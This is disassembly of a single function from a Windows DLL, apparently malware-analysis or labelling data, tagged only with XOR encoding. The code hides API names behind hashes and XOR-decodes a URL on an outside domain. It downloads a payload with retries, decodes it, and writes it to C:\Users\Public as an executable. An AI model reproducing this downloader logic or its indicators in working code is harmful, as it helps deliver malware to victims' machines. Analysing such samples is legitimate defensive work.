Function at 0x1800037f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x180020008]
xor rax, rsp
mov qword [rbp + 0x27], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r14, rax
mov edx, 0x5d22
mov rcx, rax
call fcn.1800011c0
mov rsi, rax
mov ecx, 0x1388
call rsi
xor r15d, r15d
mov qword [rbp - 0x69], r15
mov qword [rbp - 0x61], r15
mov r8d, r15d
mov edx, r15d
lea rdi, str.https:__obshchiye_resursy.com_zpwidnydav__enV1Z82iODc5twdu
lea r12, [0x180021e08]
nop dword [rax + rax]
mov rcx, r15
cmp r8, 0x10
cmovb rcx, r8
movzx eax, byte [rcx + r12]
xor byte [rdx + rdi], al
inc rdx
lea r8, [rcx + 1]
cmp rdx, 0x3d
jb 0x180003870
mov byte [0x180020afc], r15b
mov ecx, 0x7a
call fcn.180004db0
mov rbx, rax
mov rcx, r15
add rax, 0x78
lea rdx, [0x180020afc]
cmp rbx, rdx
ja 0x1800038bc
cmp rax, rdi
jae 0x180003910
movq xmm1, qword [str.https:__obshchiye_resursy.com_zpwidnydav__enV1Z82iODc5twdu]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
movdqu xmmword [rbx], xmm1
movq xmm2, qword [0x180020ac8]
punpcklbw xmm2, xmm0
movdqu xmmword [rbx + 0x10], xmm2
movq xmm1, qword [0x180020ad0]
punpcklbw xmm1, xmm0
movdqu xmmword [rbx + 0x20], xmm1
movq xmm2, qword [0x180020ad8]
punpcklbw xmm2, xmm0
movdqu xmmword [rbx + 0x30], xmm2
mov ecx, 0x20
nop word [rax + rax]
movzx eax, byte [rcx + rdi]
mov word [rbx + rcx*2], ax
inc rcx
cmp rcx, 0x3d
jb 0x180003910
lea r8, [rbp - 0x69]
lea rdx, [rbp - 0x61]
mov rcx, rbx
call fcn.180001290
test eax, eax
jne 0x18000395e
mov edi, 0x2710
nop word [rax + rax]
mov ecx, edi
call rsi
add edi, 0x2710
lea r8, [rbp - 0x69]
lea rdx, [rbp - 0x61]
mov rcx, rbx
call fcn.180001290
test eax, eax
je 0x180003940
mov rax, r15
mov rcx, qword [rbp - 0x69]
test rcx, rcx
je 0x1800039a0
mov rdx, qword [rbp - 0x61]
mov r8, rcx
nop dword [rax]
nop word [rax + rax]
mov rcx, r15
cmp rax, 0x10
cmovb rcx, rax
movzx eax, byte [rcx + r12]
xor byte [rdx], al
lea rdx, [rdx + 1]
lea rax, [rcx + 1]
sub r8, 1
jne 0x180003980
movzx eax, byte [0x180021e08]
xor byte [str.C:UsersPublic], al
movzx eax, byte [0x180021e09]
xor byte [0x180020b11], al
movzx eax, byte [0x180021e0a]
xor byte [0x180020b12], al
movzx eax, byte [0x180021e0b]
xor byte [0x180020b13], al
movzx eax, byte [0x180021e0c]
xor byte [0x180020b14], al
movzx eax, byte [0x180021e0d]
xor byte [0x180020b15], al
movzx eax, byte [0x180021e0e]
xor byte [0x180020b16], al
movzx eax, byte [0x180021e0f]
xor byte [0x180020b17], al
movzx eax, byte [0x180021e10]
xor byte [0x180020b18], al
movzx eax, byte [0x180021e11]
xor byte [0x180020b19], al
movzx eax, byte [0x180021e12]
xor byte [0x180020b1a], al
movzx eax, byte [0x180021e13]
xor byte [0x180020b1b], al
movzx eax, byte [0x180021e14]
xor byte [0x180020b1c], al
movzx eax, byte [0x180021e15]
xor byte [0x180020b1d], al
movzx eax, byte [0x180021e16]
xor byte [0x180020b1e], al
movzx eax, byte [0x180021e17]
xor byte [0x180020b1f], al
mov byte [0x180020a8f], r15b
mov ecx, 0x20
call fcn.180004db0
mov rdx, rax
mov rcx, r15
add rax, 0x1e
lea r8, [0x180020b1f]
lea r9, str.C:UsersPublic
cmp rdx, r8
ja 0x180003ad0
cmp rax, r9
jb 0x180003ad0
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + r9]
mov word [rdx + rcx*2], ax
inc rcx
cmp rcx, 0x10
jb 0x180003ab0
jmp 0x180003aec
movq xmm1, qword [rcx + r9]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
movdqu xmmword [rdx + rcx*2], xmm1
add rcx, 8
cmp rcx, 0x10
jb 0x180003ad0
mov qword [rbp - 1], r15
mov qword [rbp + 0xf], r15
mov qword [rbp + 0x17], 7
mov word [rbp - 1], r15w
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], r15w
jne 0x180003b10
lea rcx, [rbp - 1]
call fcn.1800044c0
nop
mov edx, 0xfc97a3
mov rcx, r14
call fcn.1800011c0
mov qword [rbp - 0x29], rax
mov edx, 0xfd0836
mov rcx, r14
call fcn.1800011c0
mov qword [rbp - 0x39], rax
mov edx, 0x1e346a
mov rcx, r14
call fcn.1800011c0
mov qword [rbp - 0x31], rax
movabs rax, 0x7ffffffffffffffe
mov rcx, rax
mov r13, qword [rbp + 0xf]
sub rcx, r13
cmp rcx, 1
jb 0x180003f01
lea r12, [rbp - 1]
mov rsi, qword [rbp - 1]
mov r14, qword [rbp + 0x17]
cmp r14, 8
cmovae r12, rsi
mov qword [rbp - 0x59], r15
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x41], r15
lea r15, [r13 + 1]
mov ebx, 7
lea rdi, [rbp - 0x59]
cmp r15, rbx
jbe 0x180003c3f
mov rbx, r15
cmp r15, 8
cmovb rbx, qword [0x18001cae8]
or rbx, 7
cmp rbx, rax
jbe 0x180003bcf
mov rbx, rax
mov rcx, 0xfffffffffffffffe
jmp 0x180003bfe
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x180003f0d
add rcx, rcx
cmp rcx, 0x1000
jb 0x180003c2a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180003f0d
mov rcx, rax
call fcn.180004d6c
test rax, rax
je 0x180003f07
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180003c3b
test rcx, rcx
je 0x180003c39
call fcn.180004d6c
mov rdi, rax
jmp 0x180003c3b
xor edi, edi
mov qword [rbp - 0x59], rdi
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x41], rbx
lea rbx, [r13*2]
mov r8, rbx
mov rdx, r12
mov rcx, rdi
call fcn.18000a410
movzx eax, word [0x18001c9fc]
mov word [rbx + rdi], ax
xor r12d, r12d
mov word [rdi + r15*2], r12w
mov rcx, qword [rbp - 0x49]
mov rdx, qword [rbp - 0x41]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x180003cb9
lea rdi, [rcx + 0xc]
mov qword [rbp - 0x49], rdi
lea rbx, [rbp - 0x59]
cmp rdx, 8
cmovae rbx, qword [rbp - 0x59]
lea rcx, [rbx + rcx*2]
lea r8d, [r12 + 0x18]
lea rdx, str.yvpxqixd.exe
call fcn.18000a410
mov word [rbx + rdi*2], r12w
lea rax, [rbp - 0x59]
jmp 0x180003cd7
mov qword [rsp + 0x20], 0xc
lea r9, str.yvpxqixd.exe
mov edx, 0xc
lea rcx, [rbp - 0x59]
call fcn.1800047c0
mov qword [rbp - 0x21], r12
mov qword [rbp - 0x11], r12
mov qword [rbp - 9], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x21], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x11], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp - 0x41]
cmp rdx, 8
jb 0x180003d42
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003d3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003f13
call fcn.180004da8
mov qword [rbp - 0x49], r12
mov qword [rbp - 0x41], 7
mov word [rbp - 0x59], r12w
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 8
cmovae rcx, qword [rbp - 0x21]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
call qword [rbp - 0x39]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180003e28
mov rdx, qword [rbp - 9]
cmp rdx, 8
jb 0x180003dd2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003dcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003f19
call fcn.180004da8
mov qword [rbp - 0x11], r12
mov qword [rbp - 9], 7
mov word [rbp - 0x21], r12w
cmp r14, 8
jb 0x180003e1e
lea rdx, [r14*2 + 2]
mov rcx, rsi
cmp rdx, 0x1000
jb 0x180003e16
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rcx, rsi
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x180003efb
mov rcx, rsi
call fcn.180004da8
mov eax, 2
jmp 0x180003ece
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x1f]
mov r8d, dword [rbp - 0x69]
mov rdx, qword [rbp - 0x61]
mov rcx, rbx
call qword [rbp - 0x31]
mov rcx, rbx
call qword [rbp - 0x29]
nop
mov rdx, qword [rbp - 9]
cmp rdx, 8
jb 0x180003e86
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003f19
call fcn.180004da8
mov qword [rbp - 0x11], r12
mov qword [rbp - 9], 7
mov word [rbp - 0x21], r12w
cmp r14, 8
jb 0x180003ece
lea rdx, [r14*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180003ec6
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003efb
mov rcx, rsi
call fcn.180004da8
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.180004ab0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18000ae94
nop
call fcn.1800011a0
nop
call fcn.18000ae94
int3
call fcn.180001100
nop
call fcn.18000ae94
nop
call fcn.18000ae94
int3